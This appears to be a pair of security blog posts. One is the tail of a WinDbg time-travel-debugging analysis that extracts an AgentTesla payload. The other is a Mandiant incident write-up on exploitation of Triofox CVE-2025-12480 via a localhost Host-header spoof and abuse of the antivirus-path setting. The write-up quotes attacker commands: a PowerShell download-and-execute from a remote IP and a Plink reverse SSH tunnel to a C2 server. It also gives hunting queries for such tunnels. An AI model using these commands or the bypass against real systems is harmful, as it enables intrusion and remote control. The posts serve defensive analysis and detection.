      [in]  LPCVOID lpBuffer,
      [in]  SIZE_T  nSize,
      [out] SIZE_T  *lpNumberOfBytesWritten
    );

    Investigating these calls to WriteProcessMemory shows that the target process handle is 0x104, which represents the suspended process. The second argument defines the address in the target process. The arguments to these calls reveal a pattern common to PE loading: the malware writes the PE header followed by the relevant sections at their virtual offsets.

    It is worth noting that the memory of the target process cannot be analyzed from this trace. To record the execution of a child process, pass the -children flag to the TTD.exe utility. This will generate a trace file for each process, including all child processes, spawned during execution.

    The first memory write to what is likely the target process's base address (0x400000) is 0x200 bytes. This size is consistent with a PE header, and examining the source buffer (0x9810af0) confirms its contents.

    0:000> db 0x9810af0
    09810af0  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
    09810b00  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
    09810b10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    09810b20  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00  ................
    09810b30  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
    09810b40  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
    09810b50  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
    09810b60  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

    The !dh extension can be used to parse this header information.

    0:000> !dh 0x9810af0
    
    File Type: EXECUTABLE IMAGE
    FILE HEADER VALUES
         14C machine (i386)
           3 number of sections
    66220A8D time date stamp Fri Apr 19 06:09:17 2024
    
    ----- SNIPPED -----
    
    OPTIONAL HEADER VALUES
         10B magic #
       11.00 linker version
             ----- SNIPPED -----
           0 [       0] address [size] of Export Directory
       3D3D4 [      57] address [size] of Import Directory
       ----- SNIPPED -----
           0 [       0] address [size] of Delay Import Directory
        2008 [      48] address [size] of COR20 Header Directory
    
    SECTION HEADER #1
       .text name
       3B434 virtual size
        2000 virtual address
       3B600 size of raw data
         200 file pointer to raw data
    ----- SNIPPED -----
    
    SECTION HEADER #2
       .rsrc name
         546 virtual size
       3E000 virtual address
         600 size of raw data
       3B800 file pointer to raw data
    ----- SNIPPED -----
    
    SECTION HEADER #3
      .reloc name
           C virtual size
       40000 virtual address
         200 size of raw data
       3BE00 file pointer to raw data
    ----- SNIPPED -----

    The presence of a COR20 header directory (a pointer to the .NET header) indicates that this is a .NET executable. The relative virtual addresses for the .text (0x2000), .rsrc (0x3E000), and .reloc (0x40000) also align with the target addresses of the WriteProcessMemory calls.

    The newly discovered PE file can now be extracted from memory using the writemem command.

    0:000> .writemem c:\users\flare\Desktop\headers.bin 0x9810af0 L0x200
    Writing 200 bytes.
    
    0:000> .writemem c:\users\flare\Desktop\text.bin 0x984cb10 L0x3b600
    Writing 3b600 bytes.......................................................................................................................
    
    0:000> .writemem c:\users\flare\Desktop\rsrc.bin 0x387d9d0 L0x600
    Writing 600 bytes.
    
    0:000> .writemem c:\users\flare\Desktop\reloc.bin 0x3927178 L0x200
    Writing 200 bytes.

    Using a hex editor, the file can be reconstructed by placing each section at its raw offset. A quick analysis of the resulting .NET executable (SHA256: 4dfe67a8f1751ce0c29f7f44295e6028ad83bb8b3a7e85f84d6e251a0d7e3076) in dnSpy reveals its configuration data.

    ----- SNIPPED -----
    
    // Token: 0x0400000E RID: 14
    public static bool EnableKeylogger = Convert.ToBoolean("false");
    // Token: 0x0400000F RID: 15
    public static bool EnableScreenLogger = Convert.ToBoolean("false");
    // Token: 0x04000010 RID: 16
    public static bool EnableClipboardLogger = Convert.ToBoolean("false");
    // Token: 0x0400001C RID: 28
    public static string SmtpServer = "<REDACTED";
    // Token: 0x0400001D RID: 29
    public static string SmtpSender = "<REDACTED>";
    // Token: 0x04000025 RID: 37
    public static string StartupDirectoryName = "eXCXES";
    // Token: 0x04000026 RID: 38
    public static string StartupInstallationName = "eXCXES.exe";
    // Token: 0x04000027 RID: 39
    public static string StartupRegName = "eXCXES";
    ----- SNIPPED -----

    Conclusion: TTD as an Analysis Accelerator

    This case study demonstrates the benefit of treating TTD execution traces as a searchable database. By capturing the payload delivery and directly querying the Debugger Data Model for specific API calls, we quickly bypassed the multi-layered obfuscation of the .NET dropper. The combination of targeted data model queries and LINQ filters (for CreateProcess* and WriteProcessMemory*) and low-level commands (!dh, .writemem) allowed us to isolate and extract the hidden AgentTesla payload, yielding critical configuration details in a matter of minutes.

    The tools and environment used in this analysis—including the latest version of WinDbg and TTD—are readily available via the FLARE-VM installation script. We encourage you to streamline your analysis workflow with  this pre-configured environment.

    The TTD trace can be downloaded from VirusTotal along with the original sample.

    No Place Like Localhost: Unauthenticated Remote Access via Triofox Vulnerability CVE-2025-12480

    10 November 2025 at 15:00

    Written by: Stallone D'Souza, Praveeth DSouza, Bill Glynn, Kevin O'Flynn, Yash Gupta


    Welcome to the Frontline Bulletin Series

    Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the threats we are seeing in the wild right now, equipping our community to understand and respond. 

    Introduction

    Mandiant Threat Defense has uncovered exploitation of an unauthenticated access vulnerability within Gladinet’s Triofox file-sharing and remote access platform. This now-patched n-day vulnerability, assigned CVE-2025-12480, allowed an attacker to bypass authentication and access the application configuration pages, enabling the upload and execution of arbitrary payloads. 

    As early as Aug. 24, 2025, a threat cluster tracked by Google Threat Intelligence Group (GTIG) as UNC6485 exploited the unauthenticated access vulnerability and chained it with the abuse of the built-in anti-virus feature to achieve code execution. 

    The activity discussed in this blog post leveraged a vulnerability in Triofox version 16.4.10317.56372, which was mitigated in release 16.7.10368.56560.

    Gladinet engaged with Mandiant on our findings, and Mandiant has validated that this vulnerability is resolved in new versions of Triofox.

    Initial Detection

    Mandiant leverages Google Security Operations (SecOps) for detecting, investigating, and responding to security incidents across our customer base. As part of Google Cloud Security’s Shared Fate model, SecOps provides out-of-the-box detection content designed to help customers identify threats to their enterprise. Mandiant uses SecOps’ composite detection functionality to enhance our detection posture by correlating the outputs from multiple rules.

    For this investigation, Mandiant received a composite detection alert identifying potential threat actor activity on a customer's Triofox server. The alert identified the deployment and use of remote access utilities (using PLINK to tunnel RDP externally) and file activity in potential staging directories (file downloads to C:\WINDOWS\Temp).

    Within 16 minutes of beginning the investigation, Mandiant confirmed the threat and initiated containment of the host. The investigation revealed an unauthenticated access vulnerability that allowed access to configuration pages. UNC6485 used these pages to run the initial Triofox setup process to create a new native admin account, Cluster Admin, and used this account to conduct subsequent activities.

    Triofox Unauthenticated Access Control Vulnerability

    CVE-2025-12480 exploitation chain

    Figure 1: CVE-2025-12480 exploitation chain

    During the Mandiant investigation, we identified an anomalous entry in the HTTP log file - a suspicious HTTP GET request with an HTTP Referer URL containing localhost. The presence of the localhost host header in a request originating from an external source is highly irregular and typically not expected in legitimate traffic.

    GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

    Figure 2: HTTP log entry

    Within a test environment, Mandiant noted that standard HTTP requests issued to AdminAccount.aspx result in a redirect to the Access Denied page, indicative of access controls being in place on the page.

    Redirection to AccessDenied.aspx when attempting to browse AdminAccount.aspx

    Figure 3: Redirection to AccessDenied.aspx when attempting to browse AdminAccount.aspx

    Access to the AdminAccount.aspx page is granted as part of setup from the initial configuration page at AdminDatabase.aspx. The AdminDatabase.aspx page is automatically launched after first installing the Triofox software. This page allows the user to set up the Triofox instance, with options such as database selection (Postgres or MySQL), connecting LDAP accounts, or creating a new native cluster admin account, in addition to other details.

    Attempts to browse to the AdminDatabase.aspx page resulted in a similar redirect to the Access Denied page.

    Redirection to AccessDenied.aspx when attempting to browse AdminDatabase.aspx

    Figure 4: Redirection to AccessDenied.aspx when attempting to browse AdminDatabase.aspx

    Mandiant validated the vulnerability by testing the workflow of the setup process. The Host header field is provided by the web client and can be easily modified by an attacker. This technique is referred to as an HTTP host header attack. Changing the Host value to localhost grants access to the AdminDatabase.aspx page.

    Access granted to AdminDatabase.aspx by changing Host header to localhost

    Figure 5: Access granted to AdminDatabase.aspx by changing Host header to localhost

    By following the setup process and creating a new database via the AdminDatabase.aspx page, access is granted to the admin initialization page, AdminAccount.aspx, which then redirects to the InitAccount.aspx page to create a new admin account.

    Successful access to the AdminCreation page InitAccount.aspx

    Figure 6: Successful access to the AdminCreation page InitAccount.aspx

    Admin page

    Figure 7: Admin page

    Analysis of the code base revealed that the main access control check to the AdminDatabase.aspx page is controlled by the function CanRunCrticalPage(),  located within the GladPageUILib.GladBasePage class found in C:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll.

    public bool CanRunCriticalPage()
    {
        Uri url = base.Request.Url;
        string host = url.Host;
        bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true
    
        bool result;
        if (flag)
        {
            result = true;
        }
        else
        {
           //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
     
    string text = ConfigurationManager.AppSettings["TrustedHostIp"];
            bool flag2 = string.IsNullOrEmpty(text);
            if (flag2)
            {
                result = false;
            }
            else
            {
                string ipaddress = this.GetIPAddress();
                bool flag3 = string.IsNullOrEmpty(ipaddress);
                if (flag3)
                {
                    result = false;
                }
                else
                ...
               

    Figure 8: Vulnerable code in the function CanRunCrticalPage() 

    As noted in the code snippet, the code presents several vulnerabilities:

    • Host Header attack - ASP.NET builds Request.Url from the HTTP Host header, which can be modified by an attacker.

    • No Origin Validation - No check for whether the request came from an actual localhost connection versus a spoofed header.

    • Configuration Dependence - If TrustedHostIP isn't configured, the only protection is the Host header check.

    Triofox Anti-Virus Feature Abuse

    To achieve code execution, the attacker logged in using the newly created Admin account. The attacker uploaded malicious files to execute them using the built-in anti-virus feature. To set up the anti-virus feature, the user is allowed to provide an arbitrary path for the selected anti-virus. The file configured as the anti-virus scanner location inherits the Triofox parent process account privileges, running under the context of the SYSTEM account.

    The attacker was able to run their malicious batch script by configuring the path of the anti-virus engine to point to their script. The folder path on disk of any shared folder is displayed when publishing a new share within the Triofox application. Then, by uploading an arbitrary file to any published share within the Triofox instance, the configured script will be executed.

    Anti-virus engine path set to a malicious batch script

    Figure 9: Anti-virus engine path set to a malicious batch script

    SecOps telemetry recorded the following command-line execution of the attacker script:

    C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"

    Post-Exploitation Activity

    Overview of the post-exploitation activity

    Figure 10: Overview of the post-exploitation activity

    Support Tools Deployment

    The attacker script centre_report.bat executed the following PowerShell command to download and execute a second-stage payload:

    powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

    The PowerShell downloader was designed to:

    • Download a payload from http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip, which hosted a disguised executable despite the ZIP extension

    • Save the payload to: C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

    • Execute the payload silently

    The executed payload was a legitimate copy of the Zoho Unified Endpoint Management System (UEMS) software installer. The attacker used the UEMS agent to then deploy the Zoho Assist and Anydesk remote access utilities on the host.

    Reconnaissance and Privilege Escalation

    The attacker used Zoho Assist to run various commands to enumerate active SMB sessions and specific local and domain user information. 

    Additionally, they attempted to change passwords for existing accounts and add the accounts to the local administrators and the “Domain Admins” group.

    Defense Evasion

    The attacker downloaded sihosts.exe and silcon.exe (sourced from the legitimate domain the.earth[.]li) into the directory C:\windows\temp\.

    Filename 

    Original Filename

    Description

    sihosts.exe

    Plink (PuTTY Link)

    A common command-line utility for creating SSH connections

    silcon.exe

    PuTTY

    A SSH and telnet client

    These tools were used to set up an encrypted tunnel, connecting the compromised host to their command-and-control (C2 or C&C) server over port 433 via SSH. The C2 server could then forward all traffic over the tunnel to the compromised host on port 3389, allowing inbound RDP traffic. The commands were run with the following parameters:

    C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46
    
    C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

    Conclusion

    While this vulnerability is patched in the Triofox version 16.7.10368.56560, Mandiant recommends upgrading to the latest release. In addition, Mandiant recommends auditing admin accounts, and verifying that Triofox’s Anti-virus Engine is not configured to execute unauthorized scripts or binaries. Security teams should also hunt for attacker tools using our hunting queries listed at the bottom of this post, and monitor for anomalous outbound SSH traffic. 

    Acknowledgements

    Special thanks to Elvis Miezitis, Chris Pickett, Moritz Raabe, Angelo Del Rosario, and Lampros Noutsos

    Detection Through Google SecOps

    Google SecOps customers have access to these broad category rules and more under the Mandiant Windows Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Gladinet or Triofox IIS Worker Spawns CMD

    • Gladinet or Triofox Suspicious File or Directory Activity

    • Gladinet Cloudmonitor Launches Suspicious Child Process

    • Powershell Download and Execute

    • File Writes To AppCompat

    • Suspicious Renamed Anydesk Install

    • Suspicious Activity In Triofox Directory

    • Suspicious Execution From Appcompat

    • RDP Protocol Over SSH Reverse Tunnel Methodology

    • Plink EXE Tunneler

    • Net User Domain Enumeration

    SecOps Hunting Queries

    The following UDM queries can be used to identify potential compromises within your environment.

    GladinetCloudMonitor.exe Spawns Windows Command Shell

    Identify the legitimate GladinetCloudMonitor.exe process spawning a Windows Command Shell.

    metadata.event_type = "PROCESS_LAUNCH"
    principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
    target.process.file.full_path = /cmd\.exe/ nocase

    Utility Execution

    Identify the execution of a renamed Plink executable (sihosts.exe) or a renamed PuTTy executable (silcon.exe) attempting to establish a reverse SSH tunnel.

    metadata.event_type = "PROCESS_LAUNCH"
    target.process.command_line = /-R\b/
    (
    target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
    (target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
    (target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
    )

    Indicators of Compromise (IOCs)

    The following IOCs are available in a Google Threat Intelligence (GTI) collection for registered users.

    Note: The following table contains artifacts that are renamed instances of legitimate tools.

    Host-Based Artifacts

    Artifact

    Description

    SHA-256 Hash

    C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

    Installer containing Zoho UEMS Agent

    43c455274d41e58132be7f66139566a941190ceba46082eb2ad7a6a261bfd63f

    C:\Windows\temp\sihosts.exe

    Plink

    50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7

    C:\Windows\temp\silcon.exe

    PuTTy

    16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad

    C:\Windows\temp\file.exe

    AnyDesk

    ac7f226bdf1c6750afa6a03da2b483eee2ef02cd9c2d6af71ea7c6a9a4eace2f

    C:\triofox\centre_report.bat

    Attacker batch script filename

    N/A

    Network-Based Artifacts

    IP Address

    ASN

    Description

    85.239.63[.]37

    AS62240 - Clouvider Limited

    IP address of the attacker used to initially exploit CVE-2025-12480 to create the admin account and gain access to the Triofox instance

    65.109.204[.]197

    AS24950 - Hetzner Online GmbH

    After a dormant period, the threat actor used this IP address to login back into the Triofox instance and carry out subsequent activities

    84.200.80[.]252

    AS214036 - Ultahost, Inc.

    IP address hosting the installer for the Zoho UEMSAgent remote access tool

    216.107.136[.]46

    AS396356 - LATITUDE-SH

    Plink C2

    ❌